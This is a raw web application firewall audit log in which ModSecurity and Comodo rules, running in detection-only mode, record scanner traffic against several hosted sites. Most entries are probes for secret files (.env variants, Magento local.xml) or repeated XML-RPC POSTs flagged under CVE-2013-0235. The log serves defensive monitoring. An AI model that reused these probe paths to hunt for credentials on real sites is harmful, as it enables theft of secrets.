(CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9oLp_Rv4EBtUyS5c4HFQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034478118849 957689 (- - -) Stopwatch2: 1750034478118849 957689; combined=2255, p1=352, p2=1467, p3=47, p4=62, p5=203, sr=93, sw=124, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e345430-Z-- --87870764-A-- [16/Jun/2025:06:11:43.583491 +0530] aE9oRlXriBOgqnJNgkwiXQAAAAA 52.138.183.40 33702 127.0.0.1 7081 --87870764-B-- GET /images/stories/admin-post.php HTTP/1.0 Host: archangledesignstudio.com X-Real-IP: 52.138.183.40 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: wordpress_test_cookie=WP%20Cookie%20check --87870764-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://archangledesignstudio.com/wp-json/>; rel="https://api.w.org/" Vary: User-Agent Connection: close Content-Type: text/html; charset=UTF-8 --87870764-H-- Message: Warning. String match ".php" at REQUEST_FILENAME. [file "/etc/apache2/modsecurity.d/rules/comodo_free/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. String match ".php" at REQUEST_FILENAME. [file "/etc/apache2/modsecurity.d/rules/comodo_free/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||archangledesignstudio.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "archangledesignstudio.com"] [uri "/images/stories/admin-post.php"] [unique_id "aE9oRlXriBOgqnJNgkwiXQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/archangledesignstudio.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034502734958 848615 (- - -) Stopwatch2: 1750034502734958 848615; combined=2514, p1=312, p2=2080, p3=0, p4=0, p5=122, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87870764-Z-- --32fca87d-A-- [16/Jun/2025:06:11:46.825659 +0530] aE9oSp_Rv4EBtUyS5c4HIgAAAAU 185.177.72.210 33800 127.0.0.1 7081 --32fca87d-B-- GET /sessions/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --32fca87d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=251722c8737e5ac4b28bb6ee4843e29a1750034506; expires=Mon, 16 Jun 2025 01:41:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --32fca87d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sessions/.env"] [unique_id "aE9oSp_Rv4EBtUyS5c4HIgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034506045171 780550 (- - -) Stopwatch2: 1750034506045171 780550; combined=2046, p1=364, p2=1589, p3=0, p4=0, p5=93, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --32fca87d-Z-- --6dc57a65-A-- [16/Jun/2025:06:11:50.623620 +0530] aE9oTZ16HYQp4eDf7R1W-wAAAAI 185.177.72.210 50926 127.0.0.1 7081 --6dc57a65-B-- GET /global.asax.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6dc57a65-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08564c0bca8dbf516331ebc040a209eb1750034510; expires=Mon, 16 Jun 2025 01:41:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6dc57a65-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".asax.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".asax.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/global.asax.old"] [unique_id "aE9oTZ16HYQp4eDf7R1W-wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034509952719 670964 (- - -) Stopwatch2: 1750034509952719 670964; combined=1779, p1=370, p2=1305, p3=0, p4=0, p5=104, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6dc57a65-Z-- --2ad8f141-A-- [16/Jun/2025:06:12:18.942556 +0530] aE9oavbo0R64L12N_alWVAAAAAQ 128.199.112.101 50304 127.0.0.1 7081 --2ad8f141-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2ad8f141-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2ad8f141-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9oavbo0R64L12N_alWVAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034538001430 941183 (- - -) Stopwatch2: 1750034538001430 941183; combined=2634, p1=401, p2=1811, p3=45, p4=67, p5=190, sr=97, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2ad8f141-Z-- --05fae73f-A-- [16/Jun/2025:06:12:54.104037 +0530] aE9ojZLRu31pT8F-J2ZNrwAAAAc 185.177.72.210 43948 127.0.0.1 7081 --05fae73f-B-- GET /:8880/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --05fae73f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3f69de95f4027204084b9b06255e44bb1750034573; expires=Mon, 16 Jun 2025 01:42:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --05fae73f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/app/config/.env"] [unique_id "aE9ojZLRu31pT8F-J2ZNrwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034573434256 669844 (- - -) Stopwatch2: 1750034573434256 669844; combined=1883, p1=382, p2=1404, p3=0, p4=0, p5=97, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --05fae73f-Z-- --54bb724e-A-- [16/Jun/2025:06:13:03.714209 +0530] aE9ol9NEcm-DhAkC0ibd9AAAAAY 185.177.72.210 51158 127.0.0.1 7081 --54bb724e-B-- GET /env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --54bb724e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=55a3bdf742bdb5acee7997d7f3d6a6fc1750034583; expires=Mon, 16 Jun 2025 01:43:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --54bb724e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/env.backup"] [unique_id "aE9ol9NEcm-DhAkC0ibd9AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034583059596 654676 (- - -) Stopwatch2: 1750034583059596 654676; combined=1850, p1=346, p2=1409, p3=0, p4=0, p5=94, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --54bb724e-Z-- --7fb47f0c-A-- [16/Jun/2025:06:13:19.616208 +0530] aE9opp16HYQp4eDf7R1XJgAAAAI 128.199.112.101 60340 127.0.0.1 7081 --7fb47f0c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7fb47f0c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7fb47f0c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9opp16HYQp4eDf7R1XJgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034598671256 945008 (- - -) Stopwatch2: 1750034598671256 945008; combined=2314, p1=348, p2=1555, p3=45, p4=71, p5=187, sr=91, sw=108, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7fb47f0c-Z-- --4dc34655-A-- [16/Jun/2025:06:14:07.924689 +0530] aE9o1y2Tu2VxEl4lA7DfIwAAAAw 185.177.72.210 57384 127.0.0.1 7081 --4dc34655-B-- GET /app/etc/local.xml HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4dc34655-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cc1e359fafd9e7a55fccc462747105431750034647; expires=Mon, 16 Jun 2025 01:44:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4dc34655-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml"] [unique_id "aE9o1y2Tu2VxEl4lA7DfIwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034647235729 689026 (- - -) Stopwatch2: 1750034647235729 689026; combined=1715, p1=371, p2=1229, p3=0, p4=0, p5=115, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4dc34655-Z-- --66f4420e-A-- [16/Jun/2025:06:14:10.675057 +0530] aE9o2Z_Rv4EBtUyS5c4HdQAAAAU 185.177.72.210 54230 127.0.0.1 7081 --66f4420e-B-- GET /:8888/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --66f4420e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47fe112b87c58c0ea69c91b14d3fb8601750034650; expires=Mon, 16 Jun 2025 01:44:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --66f4420e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/django_project_path/.env"] [unique_id "aE9o2Z_Rv4EBtUyS5c4HdQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034649986023 689109 (- - -) Stopwatch2: 1750034649986023 689109; combined=2001, p1=390, p2=1487, p3=0, p4=0, p5=124, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --66f4420e-Z-- --9bf81314-A-- [16/Jun/2025:06:14:11.716027 +0530] aE9o2w9THibLN0xLxETx7AAAAAk 185.177.72.210 54296 127.0.0.1 7081 --9bf81314-B-- GET /:5000/admin/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9bf81314-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4c94e4caa9df829e8b64aea7fdb5ff9c1750034651; expires=Mon, 16 Jun 2025 01:44:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9bf81314-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/admin/.env.production"] [unique_id "aE9o2w9THibLN0xLxETx7AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034651010021 706070 (- - -) Stopwatch2: 1750034651010021 706070; combined=1866, p1=367, p2=1383, p3=0, p4=0, p5=115, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9bf81314-Z-- --946b8341-A-- [16/Jun/2025:06:14:19.926906 +0530] aE9o4vbo0R64L12N_alWlwAAAAQ 128.199.112.101 54766 127.0.0.1 7081 --946b8341-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --946b8341-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --946b8341-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9o4vbo0R64L12N_alWlwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034658971694 955292 (- - -) Stopwatch2: 1750034658971694 955292; combined=2249, p1=374, p2=1327, p3=59, p4=85, p5=248, sr=94, sw=156, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --946b8341-Z-- --e3e89266-A-- [16/Jun/2025:06:15:19.983027 +0530] aE9pH6pdvXW4_hknQUU3QgAAAAo 128.199.112.101 43112 127.0.0.1 7081 --e3e89266-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e3e89266-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e3e89266-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9pH6pdvXW4_hknQUU3QgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034719052820 930262 (- - -) Stopwatch2: 1750034719052820 930262; combined=2131, p1=398, p2=1355, p3=42, p4=62, p5=170, sr=120, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e3e89266-Z-- --5943fc54-A-- [16/Jun/2025:06:15:35.511456 +0530] aE9pLtNEcm-DhAkC0ibeTgAAAAY 185.177.72.210 57986 127.0.0.1 7081 --5943fc54-B-- GET /:8880/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5943fc54-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=45bc44b3b603c12cc461927a859de4491750034735; expires=Mon, 16 Jun 2025 01:45:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5943fc54-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.test"] [unique_id "aE9pLtNEcm-DhAkC0ibeTgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034734853865 657668 (- - -) Stopwatch2: 1750034734853865 657668; combined=2058, p1=443, p2=1507, p3=0, p4=0, p5=107, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5943fc54-Z-- --c6977b50-A-- 